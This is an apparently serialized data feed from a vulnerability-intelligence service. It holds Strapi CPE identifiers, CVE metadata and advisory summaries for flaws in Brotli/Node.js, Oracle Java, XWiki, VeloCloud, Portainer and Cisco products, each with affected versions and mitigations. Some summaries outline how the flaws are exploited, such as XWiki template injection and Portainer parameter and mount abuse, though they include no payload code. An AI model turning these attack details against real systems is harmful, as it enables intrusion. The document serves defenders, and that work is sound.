:beta16:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:4.10.5:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.10.6:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha10.1:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:4.0.1:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha.14.1:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.3.3:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha5.5:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:-:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha11.2:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.3.3:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha10.1:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta16.4:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha9.2:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta7:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:1.4.1:*:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta18.7:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:4.0.0:beta10:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta.16:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.0.3:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.1.4:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha8:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha.4:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha6.7:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha12.3:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta10:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta.5:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.13.7:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta20.1:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.5.6:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha9:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:4.12.5:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha.9:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha.10.3:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:1.5.0:*:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta19.1:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.4.2:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha.10.1:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta5:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha.6.7:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha14.1:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta13:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:4.19.1:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta.17.1:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha22:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha.21:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.15.5:alpha5:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha12.7:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta.14:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha.26:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:0.0.1:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.3.0:beta2:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha.14:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta17:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:4.3.0:-:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha25:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha14.3:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:1.1.0:*:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha23:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.0.0:beta14:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.23.0:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.8.2:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.6.6:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta12:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.13.4:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha.25.1:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha5.3:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha12.7:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha20:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta1:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:1.0.0:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.10.8:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta18.5:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.6.3:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.15.1:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha12.1:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha.7.2:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta11:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta20.3:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.1.3:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta.16.4:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta19:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:1.6.4:*:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta5:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.4.1:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta.3:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:1.5.7:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta16.3:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta17.4:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta.17.7:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha12.4:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha4:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta17:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:1.6.0:*:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha.15:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.2.0:beta4:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:1.6.4:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta18.4:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta16.7:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.11.1:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.19.0:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.10.0:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.4.0:alpha0:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:1.0.1:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha.25.2:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta9:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta8:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.1.10:beta0:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.1.9:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta16.8:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.10.4:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.14.2:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha11.1:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.2.0:alpha0:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha21:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.8.0:*:*:*:*:*:*:*","cpe:2.3:a:strapi:plugin-users-permissions:*:*:*:*:*:*:*:*",[580,581],"Strapi Strapi","Strapi Plugin-Users-Permissions",[583,584,585,586],"https:\u002F\u002Fgithub.com\u002Fstrapi\u002Fstrapi\u002Fsecurity\u002Fadvisories\u002FGHSA-wrvh-rcmr-9qfc","https:\u002F\u002Fnvd.nist.gov\u002Fvuln\u002Fdetail\u002FCVE-2024-34065","https:\u002F\u002Fgithub.com\u002Fstrapi\u002Fstrapi\u002Fcommit\u002F9c79921d22142a5de77ea26151550a14e4b12669","https:\u002F\u002Fgithub.com\u002Fstrapi\u002Fstrapi",0.71,0.00704,0.53046,false,null,{"timestamp":593,"automatable":594,"tech_impact":595,"exploitation":596,"cisa_decision":597,"cisa_remediation_timeline":601},"2024-06-12T16:08:21.487136Z","no","partial","none",{"vector":598,"decision":599,"priority":600},"CISAv1\u002FE:N\u002FA:N\u002FT:P\u002FM:H\u002F2026-10-25T19:38:56.696683\u002F","track_star","medium","60D",[603],{"name":604,"source":605,"tactics":606,"technique_id":608},"Exploit Public-Facing Application","attack_vector",[607],"initial-access","T1190",[610],{"link":583},{"count":612,"next":613,"previous":591,"results":614},266,"http:\u002F\u002Fweb:8606\u002Fapi\u002Ftrending_attacks\u002F?page=2&sorted_by=-published_at",[615,623,627,637,641,649,657,666,677,686],{"id":612,"title":616,"summary":617,"published_at":618,"severity":619,"vendor":620,"products":621},"Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)","This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nTwo situations are possible. When the decoding is done by your own application or reverse proxy, identify the component and update it. If an update is not possible right away, reject requests with \"Content-Encoding: br\" at the reverse proxy or WAF.\r\n\r\nWhen the asset is hosted on a managed platform or behind a CDN (for example Platform.sh, Upsun or Fastly), the decoding may be done by the provider's edge router, in front of your application. You cannot patch it yourself, but this router handles all the traffic of your site. Ask your provider to confirm that its edge components are patched against CVE-2026-111497. Assets hosted on a managed platform or behind a CDN carry the tag \"paas: platform.sh\" or \"cdn: fastly\" in the asset view: for these assets, the Brotli decoding is done by the provider's edge router, in front of your application, and only the provider can patch it.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nContact your edge provider about the status of the pathing (Fastly \u002F Plateform.sh)\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.","2026-10-24T10:37:22.192753Z",4,"google",[622],"brotli",{"id":624,"title":616,"summary":625,"published_at":618,"severity":619,"vendor":620,"products":626},265,"This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.",[622],{"id":628,"title":629,"summary":630,"published_at":631,"severity":619,"vendor":632,"products":633},263,"Oracle Java SE JSSE - Improper Access Control & Unauthorized Data Access & Unauthorized Data Modification","Oracle Java SE is the Java runtime and development platform. Its JSSE (Java Secure Socket Extension) component provides TLS\u002FSSL for secure network communication. Oracle GraalVM is a JDK distribution based on the same platform.\r\n\r\nCVE-2026-91403\r\n\r\nA vulnerability in the JSSE component of Oracle Java SE, Oracle GraalVM for JDK and Oracle GraalVM Enterprise Edition can be exploited by an unauthenticated attacker with network access over multiple protocols. A successful attack can give unauthorized access to critical data and allow unauthorized creation, deletion or modification of data. It can also affect sandboxed Java Web Start applications and applets that run untrusted code. The record lists the weakness as CWE-284 (Improper Access Control) in the CISA ADP entry, while another database lists CWE-295. The record lists these affected versions:\r\n- Oracle Java SE: 8u511, 8u511-perf, 11.0.33, 17.0.21, 21.0.13, 25.0.5, 27.0.1.\r\n- Oracle GraalVM for JDK: 17.0.21, 21.0.13.\r\n- Oracle GraalVM Enterprise Edition: 21.3.20.\r\n\r\nOracle published an out-of-cycle Security Alert on October 21, 2026. One secondary source says the fix makes Java distrust eight compromised intermediate CA certificates shipped with the JDK. The Oracle-focused sources do not confirm this root cause, so check it against the Oracle advisory. CISA ADP SSVC data shows Exploitation: none, Automatable: yes, Technical Impact: total. The CVE is not in the CISA KEV catalog as of October 22, 2026, and its EPSS score is below 1%.","2026-10-23T14:12:32.871954Z","Oracle",[634,635,636],"Oracle Java SE","Oracle GraalVM Enterprise Edition","Oracle GraalVM for JDK",{"id":638,"title":629,"summary":639,"published_at":631,"severity":619,"vendor":632,"products":640},264,"Patrowl scan limitation — this vulnerability cannot be detected by network scanning. The problem is not in a service exposed on the network, but in the list of trusted certificates built into Java — and nothing a scanner can see from the outside tells it which certificates a system accepts, or even whether the system is running Java at all. The only way to test for it from the network would be to use a fraudulent certificate during a secure connection, which is a real attack rather than a scan, and it would still miss most cases. The only reliable way to detect this vulnerability is to check locally which Java versions are installed and compare them with the list of affected versions.\r\n\r\nOracle Java SE is the Java runtime and development platform. Its JSSE (Java Secure Socket Extension) component provides TLS\u002FSSL for secure network communication. Oracle GraalVM is a JDK distribution based on the same platform.\r\n\r\nCVE-2026-91403\r\n\r\nA vulnerability in the JSSE component of Oracle Java SE, Oracle GraalVM for JDK and Oracle GraalVM Enterprise Edition can be exploited by an unauthenticated attacker with network access over multiple protocols. A successful attack can give unauthorized access to critical data and allow unauthorized creation, deletion or modification of data. It can also affect sandboxed Java Web Start applications and applets that run untrusted code. The record lists the weakness as CWE-284 (Improper Access Control) in the CISA ADP entry, while another database lists CWE-295. The record lists these affected versions:\r\n- Oracle Java SE: 8u511, 8u511-perf, 11.0.33, 17.0.21, 21.0.13, 25.0.5, 27.0.1.\r\n- Oracle GraalVM for JDK: 17.0.21, 21.0.13.\r\n- Oracle GraalVM Enterprise Edition: 21.3.20.\r\n\r\nOracle published an out-of-cycle Security Alert on October 21, 2026. One secondary source says the fix makes Java distrust eight compromised intermediate CA certificates shipped with the JDK. The Oracle-focused sources do not confirm this root cause, so check it against the Oracle advisory. CISA ADP SSVC data shows Exploitation: none, Automatable: yes, Technical Impact: total. The CVE is not in the CISA KEV catalog as of October 22, 2026, and its EPSS score is below 1%.",[634,635,636],{"id":642,"title":643,"summary":644,"published_at":645,"severity":619,"vendor":646,"products":647},260,"XWiki Platform - Unauthenticated Remote Code Execution via SolrSearch Template Injection","XWiki Platform is an open-source enterprise wiki and application platform written in Java, offering runtime services for building collaborative applications on top of it.\r\n\r\nCVE-2025-24893\r\n\r\nInsufficient neutralization of directives in dynamically evaluated code (CWE-95, eval injection) in the SolrSearch macro allows any unauthenticated guest to perform arbitrary remote code execution through a specially crafted request to SolrSearch (e.g. \u003Chost>\u002Fxwiki\u002Fbin\u002Fget\u002FMain\u002FSolrSearch?media=rss&text=...), injecting and executing arbitrary Groovy code via template injection. This impacts the confidentiality, integrity, and availability of the entire XWiki installation. Affected versions are XWiki Platform from 5.3-milestone-2 up to (but excluding) 15.10.11, and from 16.0.0-rc-1 up to (but excluding) 16.4.1. The flaw was patched in XWiki 15.10.11, 16.4.1, and 16.5.0RC1; users unable to upgrade can mitigate it by editing Main.SolrSearchMacros (line 955 in SolrSearchMacros.xml) to match the rawResponse macro in macros.vm#L2824 with a content type of application\u002Fxml. The vulnerability has been actively exploited in the wild, including a two-stage attack chain delivering a coinminer, although it is not in the CISA KEV catalog.","2026-10-23T08:48:16.092785Z","XWiki",[648],"XWiki Platform",{"id":650,"title":651,"summary":652,"published_at":653,"severity":619,"vendor":654,"products":655},262,"Arista VeloCloud Orchestrator - Authenticated SQLi to Privilege Escalation","VeloCloud Orchestrator (VCO) is the central management and orchestration platform for Arista VeloCloud SD-WAN. It is used to configure and monitor edges, gateways, and enterprise tenants.\r\n\r\nCVE-2026-114625\r\n\r\nA security issue in VeloCloud Orchestrator On-Prem lets a remote, authenticated attacker reach privileged internal functionality and affect the VCO host. Any authenticated user can gain operator privileges and act as a local \"superuser operator\". The minimum role needed is Enterprise Read Only. The web interface is exposed by default and no configuration prevents the exposure. The weakness is mapped to CWE-89 (SQL Injection) and CAPEC-66. CISA ADP SSVC lists exploitation as \"none\", automatable as \"no\", and technical impact as \"total\". Secondary sources disagree on whether it is being exploited, so check Arista's advisory directly. Affected on-prem versions are 5.2.0 before 5.2.3.18, 6.1.0 before 6.1.3.10, and 6.4.0 before 6.4.2.12. Hosted and Dedicated VCO deployments were also affected but have already been patched. The fix is to upgrade to 5.2.3.18, 6.1.3.10, 6.4.2.12 or later. Until then, restrict web interface access to trusted administrative networks and monitor for suspicious activity.","2026-10-23T07:57:12.173417Z","Arista Networks",[656],"VeloCloud Orchestrator",{"id":658,"title":659,"summary":660,"published_at":661,"severity":619,"vendor":662,"products":663},261,"Portainer - Standard user can bypass the bind-mount restriction and take over the Docker host","Portainer is a lightweight service delivery platform for containerized applications, used to manage Docker, Swarm, Kubernetes and ACI environments through a web UI and an API proxy that can enforce per-environment security restrictions for non-administrator users.\r\n\r\nGHSA-j3mf-q9qf-5qf8\r\n\r\nImproper input validation in the Compose stack validator IsValidStackFile (api\u002Fstacks\u002Fstackutils\u002Fvalidation.go): when the per-environment setting \"Hide bind mounts for non-administrators\" is enabled, the validator rejected bind mounts declared in top-level volumes and each service's volumes, but never inspected a service's volumes_from field. By declaring volumes_from pointing at an existing container, any authenticated Standard user with stack-management access to a Docker standalone environment inherits all of that container's mounts — including host bind mounts. Since the documented Portainer Server\u002FAgent deployments mount the Docker socket, an attacker can gain full control of the host Docker daemon (and from there root on the host), or read Portainer's own database and stored credentials by inheriting the Server's data directory. Affected versions: ≥ 2.39.0 ≤ 2.39.8 and ≥ 2.40.0 ≤ 2.45.2 (both editions; Swarm stacks not affected). Fixed in 2.45.3, released 2026-10-22; no patch for 2.39.x or EOL 2.40.x–2.44.x — upgrade to 2.45.3. Interim mitigations: disable stack usage for non-administrators, restrict standard-user environment access, and audit existing non-administrator stacks for volumes_from. No CVE ID had been assigned at publication time.","2026-10-23T07:54:21.608453Z","Portainer",[664,665],"Portainer Community Edition","Portainer Business Edition",{"id":667,"title":668,"summary":669,"published_at":670,"severity":619,"vendor":671,"products":672},258,"Multiple Vulnerabilities in Cisco Unified Communications Products - Injection & Authentication Bypass","Cisco Unified Communications Manager and its companion products (Emergency Responder, Unity Connection, IM & Presence, SME, Prime Collaboration Deployment) form Cisco's enterprise VoIP and collaboration platform, providing call control, emergency call routing, voicemail, and presence services for enterprise telephony networks.\r\n\r\nCVE-2026-76473\r\n\r\nImproper control of a resource through its lifetime (CWE-74, injection-related) in multiple Cisco voice products, including Cisco Emergency Responder, Unified CM, Unified CM IM & Presence Service, and Unity Connection. It is remotely exploitable with no privileges or user interaction required, and can result in full compromise of confidentiality, integrity, and availability (CVSS 9.8). Affected releases include Emergency Responder, Unified CM, IM & Presence, and Unity Connection versions 14 and 15 (14 through 14SU6, and 15 through 15SU4 and their maintenance releases). Cisco addressed the flaw in its October 2026 Unified Communications Products Security Hardening Release, which groups several internally discovered vulnerabilities fixed during a comprehensive security review. (Strix CVE entry, NHS Digital alert)\r\n\r\nCVE-2026-76474\r\n\r\nImproper authentication (CWE-287) affecting the same set of Cisco voice products. The flaw covers authentication bypass and session-fixication-style weaknesses; a remote, unauthenticated attacker without user interaction can fully compromise the affected system (CVSS 9.8). The same product versions are affected (Emergency Responder, Unified CM, Unified CM IM & Presence Service, and Unity Connection releases 14.x and 15.x up to 14SU6 \u002F 15SU4). It was disclosed alongside the other flaws in Cisco's October 2026 security hardening release, and customers should upgrade to the fixed hardening releases listed in the vendor advisory. (Strix CVE entry, Security Online)","2026-10-22T14:31:16.035692Z","Cisco",[673,674,675,676],"Cisco Emergency Responder","Cisco Unified Communications Manager","Cisco Unity Connection","Cisco Unified CM IM & Presence Service (IM&P)",{"id":678,"title":679,"summary":680,"published_at":681,"severity":619,"vendor":682,"products":683},259,"Node.js (bundled Brotli) - Out-of-Bounds Write & Remote Code Execution","Node.js is a cross-platform JavaScript runtime built on V8, widely used for server-side web applications and APIs. Google Brotli is a lossless compression library whose decoder Node bundles in deps\u002Fbrotli and exposes through node:zlib; compressed HTTP responses (including Brotli Content-Encoding) are automatically decompressed by fetch() and frameworks such as Express 5.\r\n\r\nCVE-2026-111497\r\n\r\nAn out-of-bounds write in the Brotli decoder (c\u002Fdec\u002Fdecode.c) bundled with Node.js. When a Node.js process decodes a malformed Brotli-compressed stream from an attacker — for example an HTTP response body auto-decompressed via fetch(), Express 5, or node:zlib — the decoder fails to validate input boundaries and writes past buffer limits, which the Node.js project says can permit remote code execution (memory disclosure and arbitrary code execution). The same flaw exists in upstream Google Brotli versions 1.0.3 through 1.2.0. It affects the Node.js 22.x, 24.x, and 26.x release lines; end-of-life lines (e.g. 20.x, 25.x) receive no fix and are stated to be \"always affected\". Fixed in Node.js v22.23.4, v24.22.1, and v26.12.1 (October 21, 2026), based on upstream Brotli commit 0ed4268 (\"Detect and report invalid stream earlier\", Evgenii Kliuchnikov, Google). Upstream Brotli shipped fixes in 1.2.1, 1.1.1, and 1.0.10. No workaround is documented; users should upgrade Node and restart all Node processes, and rebuild any containers, single-executable apps, or appliances that bundle a Node binary. Distro packages linked against a system Brotli library depend on the distro's brotli package instead.","2026-10-22T14:08:04.199100Z","Node.js",[684,685],"Node.js runtime","Google Brotli",{"id":687,"title":688,"summary":689,"published_at":690,"severity":619,"vendor":662,"products":691},257,"Portainer - Query Parameter Confusion in Kubernetes Shell Leading to Arbitrary Command Execution in Any Pod","Portainer is a web-based container and Kubernetes management platform that provides GUI-driven administration of Docker, Swarm, and Kubernetes environments, including a browser-based kubectl shell for Kubernetes clusters managed through the Portainer Agent.\r\nGHSA-7423-r5wh-26x7\r\nImproper handling of extra parameters (CWE-235) combined with incorrect authorization (CWE-863) in the Kubernetes shell WebSocket handler (api\u002Fhttp\u002Fhandler\u002Fwebsocket\u002Fshell_pod.go). When a user opens the kubectl shell, the Portainer server creates a short-lived shell Pod and rewrites the WebSocket request to target it via the Agent's Pod-exec endpoint. The rewrite used Query().Add() to append the server-chosen namespace, podName, containerName, and command values instead of replacing them, while the Agent resolves each parameter by its first occurrence — so an authenticated standard-role user could supply duplicate query parameters and redirect the exec to any Pod and command of their choosing. On Agent-managed and Edge-Agent-managed Kubernetes environments the exec runs under the Agent's in-cluster service account, which the published manifest binds to cluster-admin, so the attacker obtains arbitrary command execution in any Pod in any namespace, full disclosure of cluster Secrets, and potential compromise of the Agent itself; Kubernetes RBAC provides no mitigation. Affected versions: >= 2.39.0 and \u003C 2.39.6 (2.39.x LTS) and all versions prior to 2.45.0, since the flawed behavior was introduced with the kubectl shell feature in 2.9.0. Fixed in 2.39.6 (LTS backport) and 2.45.0 (LTS); the 2.40–2.44 short-term support lines receive no dedicated patch. Local Kubernetes connections are not affected. Reported by D0HY30N on 2026-07-30; no CVE ID has been assigned as of publication. (Source: GitHub Security Advisory GHSA-7423-r5wh-26x7)","2026-10-22T09:12:41.197853Z",[662],{"count":693,"next":694,"previous":591,"results":695},30,"http:\u002F\u002Fweb:8606\u002Fapi\u002Farticles\u002F?page=2&sorted_by=-published_at",[696,703,711,719,726,733,740,745,752,759],{"id":693,"title":697,"summary":698,"published_at":699,"type":700,"link":701,"image_url":702},"PHP2Shell: Two Critical RCE Flaws in PHP (CVSS 9.2)","Unauthenticated code execution demonstrated on WordPress, Drupal and Joomla, and reproduced in our lab. Patched versions and steps to take 